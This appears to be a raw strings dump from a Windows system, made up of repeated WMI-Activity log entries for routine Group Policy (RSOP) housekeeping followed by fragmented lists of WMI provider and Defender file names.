Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{0ACDD40C-75AC-47ab-BAA0-BF6DE7E7FE63}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{0E28E245-9368-4853-AD84-6DA3BA35BB75}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{169EBF44-942F-4C43-87CE-13C93996EBBE}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{16be69fa-4209-4250-88cb-716cf41954e0}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{17D89FEC-5C44-4972-B12D-241CAEF74509}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{1A6364EB-776B-4120-ADE1-B63A406A76B5}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{2A8FDC61-2347-4C87-92F6-B05EB91A201A}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{2BFCC077-22D2-48DE-BDE1-2F618D9B476D}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{3610eda5-77ef-11d2-8dc5-00c04fa31a66}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{3A0DBA37-F8B2-4356-83DE-3E90BD5C261F}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{426031c0-0b47-4852-b0ca-ac3d37bfcb39}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{42B5FAAE-6536-11d2-AE5A-0000F87571E3}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{4B7C3B0F-E993-4E06-A241-3FBE06943684}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{4bcd6cde-777b-48b6-9804-43568e23545d}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{4CFB60C1-FAA6-47f1-89AA-0B18730C9FD3}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{4d968b55-cac2-4ff5-983f-0a54603781a3}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{6232C319-91AC-4931-9385-E70C2B099F0E}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{6A4C88C6-C502-4f74-8F60-2CB23EDC24E2}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{7150F9BF-48AD-4da4-A49C-29EF4A8369BA}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{728EE579-943C-4519-9EF7-AB56765798ED}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{74EE6C03-5363-4554-B161-627540339CAB}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{7909AD9E-09EE-4247-BAB9-7029D5F0A278}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{7933F41E-56F8-41d6-A31C-4148A711EE93}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{7B849a69-220F-451E-B3FE-2CB811AF94AE}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{827D319E-6EAC-11D2-A4EA-00C04F79F83A}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{8472C2C4-6B70-4301-A20D-A6CEA5F82B7E}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{8A28E2C5-8D06-49A4-A08C-632DAA493E17}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{91FBB303-0CD5-4055-BF42-E512A681B325}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{9F02E2F5-5A41-4D1A-B473-4617E84BC957}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{A3F3E39B-5D83-4940-B954-28315B82F0A8}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{AADCED64-746C-4633-A97C-D61349046527}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{B087BE9D-ED37-454f-AF9C-04291E351182}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{B587E2B1-4D59-4e7e-AED9-22B9DF11D053}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{BA649533-0AAC-4E04-B9BC-4DBAE0325B12}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{BC75B1ED-5833-4858-9BB8-CBF0B166DF9D}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{C34B2751-1CF4-44F5-9262-C3FC39666591}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{C418DD9D-0D14-4efb-8FBF-CFE535C8FAC7}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{C631DF4C-088F-4156-B058-4375F0853CD8}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{c6dc5466-785a-11d2-84d0-00c04fb169f7}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{cdeafc3d-948d-49dd-ab12-e578ba4af7aa}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{CF7639F3-ABA2-41DB-97F2-81E2C5DBFC5D}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{CFF649BD-601D-4361-AD3D-0FC365DB4DB7}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{e437bc1c-aa7d-11d2-a382-00c04f991e27}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{E4F48E54-F38D-4884-BFB9-D4D2E5729C18}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{E5094040-C46C-4115-B030-04FB2E545B00}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{E62688F0-25FD-4c90-BFF5-F508B9D2E31F}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{F312195E-3D9D-447A-A3F5-08DFFA24735E}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{f3ccc681-b74c-4060-9f26-cd84525dca2a}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{FB2CA36D-0B40-4307-821B-A13B252DE56C}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{fbf687e6-f063-4d9f-9f4f-fd9a26acdd5f}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{FC491EF1-C4AA-4CE1-B329-414B101DB823}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational Win32_DeviceGuard wmiprvse.exe %SystemRoot%\System32\Win32_DeviceGuard.dll Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational Win32_TpmProvider wmiprvse.exe C:\Windows\System32\wbem\Win32_TPM.dll Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {DEBD1400-152F-4FF9-AE37-88487A8A1FF3} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\User\S_1_5_21_3914889805_4071901059_918772286_1000 : RSOP_ExtensionStatus.extensionGuid="{35378EAC-683F-11D2-A89A-00C04FBBCFA2}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {DEBD1400-152F-4FF9-AE37-88487A8A1FF3} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\User\S_1_5_21_3914889805_4071901059_918772286_1000 : RSOP_ExtensionStatus.extensionGuid="{0E28E245-9368-4853-AD84-6DA3BA35BB75}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {DEBD1400-152F-4FF9-AE37-88487A8A1FF3} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\User\S_1_5_21_3914889805_4071901059_918772286_1000 : RSOP_ExtensionStatus.extensionGuid="{169EBF44-942F-4C43-87CE-13C93996EBBE}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {DEBD1400-152F-4FF9-AE37-88487A8A1FF3} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\User\S_1_5_21_3914889805_4071901059_918772286_1000 : RSOP_ExtensionStatus.extensionGuid="{17D89FEC-5C44-4972-B12D-241CAEF74509}" Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {DEBD1400-152F-4FF9-AE37-88487A8A1FF3} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\User\S_1_5_21_3914889805_4071901059_918772286_1000 : aeinv.mofou AgentWmi.mofsta AgentWmiUninstall.mof appbackgroundtask.dll appbackgroundtask.mof appbackgroundtask_uninstall.mof AuditRsop.mof authfwcfg.mof AutoRecover bcd.mof BthMtpEnum.mof cimdmtf.mof cimwin32.dll cimwin32.mof CIWmi.mofmo classlog.mof ddp.mof dimsjob.mof dimsroam.mof dimsroam.mof dimsroam.mof dnsclientpsprovider.dll drvinst.mof Dscpspluginwkr.dll dsprov.dll EmbeddedLockdownWmi.dll en-US esscli.dll EventTracingManagement.dll fastprox.dllV filetrace.mof firewallapi.mof hbaapi.mofl IMAPIv2-Base.mof IMAPIv2-FileSystemSupport.mof wbemdisp.dll wbemdisp.tlb wbemess.dll wbemprox.dll wbemsvc.dll wbemtest.exetab wcncsvc.mof WdacEtwProv.mof WdacWmiProv.dll WdacWmiProv.mof WdacWmiProv_Uninstall.mof Wdf01000.moftab Wdf01000Uninstall.mofme wdigest.mof WFAPIGP.mof wfascim.dll wfascim.mof wfascim_uninstall.mof WFP.MOF whqlprov.moftab Win32_DeviceGuard.mofme Win32_EncryptableVolume.dll win32_encryptablevolume.mof $Win32_EncryptableVolumeUninstall.mof win32_printer.mof Win32_Tpm.dll Win32_Tpm.mof wininit.mof winipsec.mof winlogon.mof WinMgmt.exe PrvSE.exe WMIPSESS.dll WMIsvc.dll wmiutils.dll interop.mof IpmiDTrc.mof ipmiprr.dll ipmiprv.dll ipmiprv.mof IpmiPTrc.mofV ipsecsvc.mofV iscsidsc.mofV iscsihba.mofV iscsiprf.mofV iscsirem.mofV iscsiwmiv2.mof iscsiwmiv2_uninstall.mof kerberos.mofV KrnlProv.dllV krnlprov.mofX lltdio.mof lltdsvc.mof Logs lsasrv.mofe mblctr.mof. MDMAppProv.dllo MDMAppProv.mof. MDMAppProv_Uninstall.mof mispace_uninstall.mof MMFUtil.dll mofcomp.exe mofd.dllry mofinstall.dll mountmgr.mof mpsdrv.mof mpssvc.mof msdtcwmi.dll msiprov.dll msv1_0.mof NCProv.dll ncsi.mofatc ndisimplatcim.dll ndistrace.mof NetAdapterCim.dll NetAdapterCim.mof NetAdapterCimTrace.mofl NetAdapterCimTraceUninstall.mof NetAdapterCim_uninstall.mof netdacim.dll netdacim.mofetC netdacim_uninstall.mofd NetEventPacketCapture.dll NetEventPacketCapture.mof #NetEventPacketCapture_uninstall.mof netnccim.dll netnccim.mofim. netnccim_uninstall.mof NetPeerDistCim.dll NetPeerDistCim_uninstall.mofZ netprofm.mofmci NetSwitchTeam.mofdl netswitchteamcim.dll NetTCPIP.dll NetTCPIP.mof NetTCPIP_Uninstall.mof netttcim.dll netttcim.mof netttcim_uninstall.mof networkitemfactory.mof newdev.mofl nlmcim.dlll nlsvc.mofdl ntevt.dlldl schedprov.dll SchedProv.mof scm.mof scrcons.exe scrcons.mof sdbus.mofdl secrcw32.mof SensorsClassExtension.mof ServDeps.dll ServiceModel.mof ServiceModel.mof.uninstall ServiceModel35.mof ServiceModel35.mof.uninstall services.mof setupapi.mof SmbWitnessWmiv2Provider.mof smbwmiv2.mof SMTPCons.dll smtpcons.mof sppwmi.moff sr.mofv system.mof tcpip.mof texttable.xsl textvaluelist.xsl umpnpmgr.mof unsecapp.exe vds.mof vdswmi.dll viewprov.dll vpnclientpsprovider.dll vsswmi.dlll wbemcntl.dll wbemcons.dll WBEMCons.mof Winsat.mof WinsatUninstall.mof wlan.mof wmi.mof WMIADAP.exe WmiApRes.dll WmiApRpl.dll WmiApSrv.exe WMICOOKR.dll WmiDcPrv.dll wmipcima.dll wmipcima.mof wmipdfs.dll wmipdfs.mof wmipdskq.dll wmipdskq.mof WmiPerfClass.dll WmiPerfClass.dll WmiPerfClass.mof WmiPerfInst.dll WmiPerfInst.mof WMIPICMP.dll wmipicmp.mof WMIPIPRT.dll WMIPJOBJ.dll wmiprov.dll WmiPrvSD.dll WmiPrvSE.exe WMIPSESS.dll wmipsess.mof WMIsvc.dll wmitimep.dll wmiutils.dll WMI_Tracing.mof xsl-mappings.xml DMWmiBridgeProv.dll dsprov.dll IMAPIv2-LegacyShim.mof MDMSettingsProv.dll ncprov.mofl netnccim_uninstall.mof ntfs.mof.dl ppcRsopCompSchema.mofer schannel.mof sstpsvc.mof umpass.mofo wbemcore.dll WinMgmtR.dll WmiPerfClass.mof WMI_Tracing.mof dsprov.mofc eaimeapi.mofdow EmbeddedLockdownWmi.dll embeddedlockdownwmi.mof !embeddedlockdownwmi_Uninstall.mof en-US esscli.dll EventTracingManagement.dll EventTracingManagement.mof fastprox.dllV fdPHost.mof fdrespub.moff fdSSDP.mofm fdWNet.mofm fdWSD.mof.m filetrace.mof firewallapi.mof FolderRedirectionWMIProvider.mof FunDisc.mof fwcfg.moffl hbaapi.mofl hnetcfg.mof IMAPIv2-Base.mof IMAPIv2-FileSystemSupport.mof MDMSettingsProv.mof MDMSettingsProv_Uninstall.mofSy "Microsoft-Windows-OfflineFiles.mofm 'Microsoft-Windows-Remote-FileSystem.mof Microsoft.AppV.AppVClientWmi.dll Microsoft.AppV.AppVClientWmi.mof Microsoft.Uev.AgentWmi.dll !Microsoft.Uev.ManagedAgentWmi.mof *Microsoft.Uev.ManagedAgentWmiUninstall.mof mispace.mof mispace_uninstall.mof mmc.mof MMFUtil.dll mofcomp.exe mofd.dllry mofinstall.dll mountmgr.mof mpeval.mof mpsdrv.mof mpssvc.mof msdtcwmi.dll MsDtcWmi.mof msfeeds.mof msfeedsbs.mof msi.mof msiprov.dll msiscsi.mof MsNetImPlatform.mof mstsc.moff mstscax.mof msv1_0.mof mswmdm.mof NCProv.dll (OfflineFilesConfigurationWmiProvider.mofnst 2OfflineFilesConfigurationWmiProvider_Uninstall.mof OfflineFilesWmiProvider.mof %OfflineFilesWmiProvider_Uninstall.mof pcsvDevice.mof pcsvDevice_Uninstall.mof Performance PERFOR~1c.m PNPXAssoc.mof PolicMan.dll PolicMan.mof polproc.mof polprocl.mof polprou.mof polstore.mof portabledeviceapi.moff portabledeviceclassextension.mof portabledeviceconnectapi.mofp portabledevicetypes.mof portabledevicewiacompat.mof powermeterprovider.mof PowerPolicyProvider.mof profileassociationprovider.mof qoswmi.dlll RacWmiProv.dll rawxml.xsll refs.mof.dl refsv1.mofl regevent.mof repdrvfs.dll Repository rsop.mofexe samsrv.mofe NetPeerDistCim.dll NetPeerDistCim.mofn NetPeerDistCim_uninstall.mofZ netprofm.mofmci NetSwitchTeam.mofdl netswitchteamcim.dll NetTCPIP.dll NetTCPIP.mof NetTCPIP_Uninstall.mof netttcim.dll netttcim.mof netttcim_uninstall.mof networkitemfactory.mof newdev.mofl nlasvc.mofl nlmcim.dlll nlmcim.mofl nlmcim_uninstall.mof nlsvc.mofdl npivwmi.mof nshipsec.mof ntevt.dlldl ntevt.mof ppcRsopUserSchema.mofer PrintFilterPipelineSvc.mofl PrintManagementProvider.dll PrintManagementProvider.mof %PrintManagementProvider_Uninstall.mof profileassociationprovider.mof PS_MMAgent.mof qmgr.moflll qoswmi.dlll qoswmi.mof. qoswmitrc.mofal qoswmitrc_uninstall.mof qoswmi_uninstall.mofV RacWmiProv.dll RacWmiProv.mof rdpendp.mof rdpinit.mof rdpshell.mof refs.mof.dl refsv1.mofl regevent.mof 'Remove.Microsoft.AppV.AppvClientWmi.mof repdrvfs.dll Repository rsop.mofexe rspndr.mofe samsrv.mofe scersop.mof scersop.mof wmp.mof wmpnetwk.mof wpdbusenum.mof wpdcomp.mof wpdfs.moff wpdmtp.mof wpdshext.mof WPDShServiceObj.mof wpdsp.moff wpd_ci.mof wscenter.mof WsmAgent.mof WsmAgentUninstall.mof WsmAuto.mof wsp_fs.mof wsp_fs_uninstall.mof wsp_health.mof wsp_health_uninstall.mof wsp_sr.mof wsp_sr_uninstall.mof WUDFx.mof Wudfx02000.mof Wudfx02000Uninstall.mof WUDFxUninstall.mof xwizards.mof xwizards.mof umpnpmgr.mof unsecapp.exe 'UserProfileConfigurationWmiProvider.mof UserProfileWmiProvider.mof UserStateWMIProvider.mof vds.mof vdswmi.dll viewprov.dll vpnclientpsprovider.dll vpnclientpsprovider.mof !vpnclientpsprovider_Uninstall.mof vss.mof vsswmi.dlll wbemcntl.dll wbemcons.dll WBEMCons.mof PROTEC~1.MUI ProtectionManagement.dll.mui WofCompressedData PROTEC~1.MUI ProtectionManagement.dll.mui WofCompressedData PROTEC~1.MUI ProtectionManagement.dll.mui WofCompressedData $I300 $I30 $I30 MpAsDesc.dll MpClient.dll MpCmdRun.exe MpDetours.dll MPDETO~1.DLL MpOAV.dll WofCompressedData MsMpLics.dll WofCompressedData MipDlp.dll WofCompressedData mpextms.exe WofCompressedData Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID 